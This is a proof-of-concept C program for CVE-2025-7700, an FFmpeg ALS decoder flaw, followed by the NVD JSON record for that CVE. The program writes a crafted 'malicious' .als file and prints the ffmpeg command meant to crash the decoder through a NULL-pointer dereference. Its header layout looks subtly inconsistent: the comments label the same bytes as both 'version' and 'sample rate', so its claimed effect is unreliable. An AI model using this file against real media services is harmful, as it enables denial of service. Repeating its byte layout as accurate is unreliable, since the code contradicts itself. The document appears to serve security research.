CVE-2025-7700

/* * CVE-2025-7700 PoC - FFmpeg ALS Decoder Memory Allocation Failure * This PoC demonstrates the vulnerability in FFmpeg's ALS audio decoder * where memory allocation failures are not properly checked. * * Note: This is for educational and security research purposes only. * DO NOT use for malicious activities. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Simplified ALS header structure for PoC demonstration typedef struct { unsigned int sample_rate; unsigned int channels; unsigned int bits_per_sample; unsigned int frame_size; unsigned int crc_enabled; } ALSHeader; // Function to create a malicious ALS file that triggers memory allocation failure void create_malicious_als_file(const char* filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } // ALS file header with malicious parameters unsigned char header[44] = { 0x41, 0x4C, 0x53, 0x00, // Magic: "ALS\0" 0x00, 0x00, 0x00, 0x00, // Version 0x00, 0x00, 0x00, 0x00, // Header size 0x00, 0x00, 0x00, 0x00, // Data length }; // Set parameters that will trigger large memory allocation // High sample rate and large frame size header[4] = 0xBB; // Sample rate high byte header[5] = 0xF5; // Sample rate header[6] = 0x02; // Sample rate low byte header[7] = 0x00; // Set frame size to trigger allocation failure header[16] = 0xFF; // Large frame size header[17] = 0xFF; header[18] = 0xFF; header[19] = 0xFF; fwrite(header, 1, sizeof(header), fp); // Add malicious frame data unsigned char frame_data[1024]; memset(frame_data, 0xFF, sizeof(frame_data)); fwrite(frame_data, 1, sizeof(frame_data), fp); fclose(fp); printf("Malicious ALS file created: %s\n", filename); } int main() { printf("CVE-2025-7700 PoC Generator\n"); printf("============================\n"); // Create the malicious file create_malicious_als_file("malicious_als_audio.als"); printf("\nTo trigger the vulnerability, process this file with FFmpeg:\n"); printf("ffmpeg -i malicious_als_audio.als output.wav\n"); return 0; } /* * FFmpeg Command to trigger vulnerability: * ffmpeg -i malicious_als.als output.wav * * Expected result: FFmpeg process crash with SIGSEGV * * Root cause: The ALS decoder does not check if memory allocation * succeeded before using the allocated pointer, leading to NULL * pointer dereference when allocation fails. */

{"cve": {"id": "CVE-2025-7700", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:16:27.923", "lastModified": "2026-05-06T16:16:04.300", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in FFmpeg’s ALS audio decoder, where it does not properly check for memory allocation failures. This can cause the application to crash when processing certain malformed audio files. While it does not lead to data theft or system control, it can be used to disrupt services and cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-7700", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380420", "source": "[email protected]"}, {"url": "https://github.com/FFmpeg/FFmpeg/commit/35a6de137a39f274d5e01ed0e0e6c4f04d0aaf07", "source": "[email protected]"}]}}